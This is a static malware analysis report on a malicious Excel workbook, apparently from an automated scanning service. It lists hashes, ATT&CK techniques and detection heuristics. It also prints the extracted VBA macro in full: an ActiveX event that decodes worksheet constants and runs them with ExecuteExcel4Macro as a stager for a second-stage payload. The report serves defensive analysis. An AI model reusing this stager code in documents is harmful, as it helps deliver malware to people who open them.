Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ccdf403dcb19e934…

MALICIOUS

Office (OOXML)

54.1 KB Created: 2020-08-04 07:25:46 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-04
MD5: 1c8377378eaccf1da498792a1e673be0 SHA-1: 7d723b815738fc02c79d27678a37225db9854e30 SHA-256: ccdf403dcb19e9340c81d9ff8fa6377c565bacb16563084a0f466afbade98ff5
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate that VBA ActiveX events are used to launch decoded Excel 4.0 macros. The extracted VBA script contains a subroutine 'siri' that iterates through constants in the used range, decodes them, and then executes them using ExecuteExcel4Macro. This suggests the macro is designed to download and execute a second-stage payload, a common technique for initial payload delivery.

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA ActiveX event runs worksheet-decoded XLM formulas critical OLE_VBA_ACTIVEX_XLM_CELL_STAGER
    VBA code attached to an ActiveX/UserForm event reconstructs formula text from worksheet constants using Split/Replace/Mid or character shifting, then executes it through ExecuteExcel4Macro or Run. This is a high-confidence malware stager that hides XLM formula execution in sheet cells; it is not a document-parser CVE.
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    The compiled VBA p-code (identifier table) references an auto-firing ActiveX/control event together with ExecuteExcel4Macro, while the decompressed source does not — the VBA-stomping shape of the ActiveX-event XLM stager. The control event bridges into XLM formula execution to call Win32 / drop payloads, hidden from source-level scanners.

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1410 bytes
SHA-256: f986a5dd8ae02252265a7f93bff7cd66e922ff07055ca6fcc0f8c9c99e6585b1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "dati, 7, 0, MSForms, Frame"
Sub datii()
Application.WindowState = xlMinimized
ActiveWorkbook.Close 0
End Sub
Sub siri()
Dim te As String
Application.WindowState = xlMinimized
For Each NU In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants)
LL = NU.value
If IsNumeric(LL) = False Then
If Len(LL) = 10 Then g = LL
If Len(LL) > 10 Then gs = LL
If Len(LL) > 1 And Len(LL) < 10 Then Aq = Chr(Range(NU))
If Aq <> 8 Then
te = te + Aq: te = gogo(te)
Else
oll = Replace(te, "X", RTrim(g)): oll = Replace(oll, "Y", RTrim(gs))
te = "": ExecuteExcel4Macro (oll)

End If
End If
Next
End Sub
Private Sub dati_Layout()
siri
End Sub
Function gogo(df As String)
iu = ")))&"
a = Replace(df, "CLL", "CL")
gogo = Replace(a, iu, "))&")
End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16384 bytes
SHA-256: c2b89117e4f6bf48e20c4d2af9d26edfdad737411d453fbd62c7356be200ff5f
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 1976 bytes
SHA-256: 76f287b1e3251b7e0e5ba27bfb05b35831150cc665de00f9fd2d807e2d2a028d

Open this report in the interactive analyzer, or submit your own file for analysis.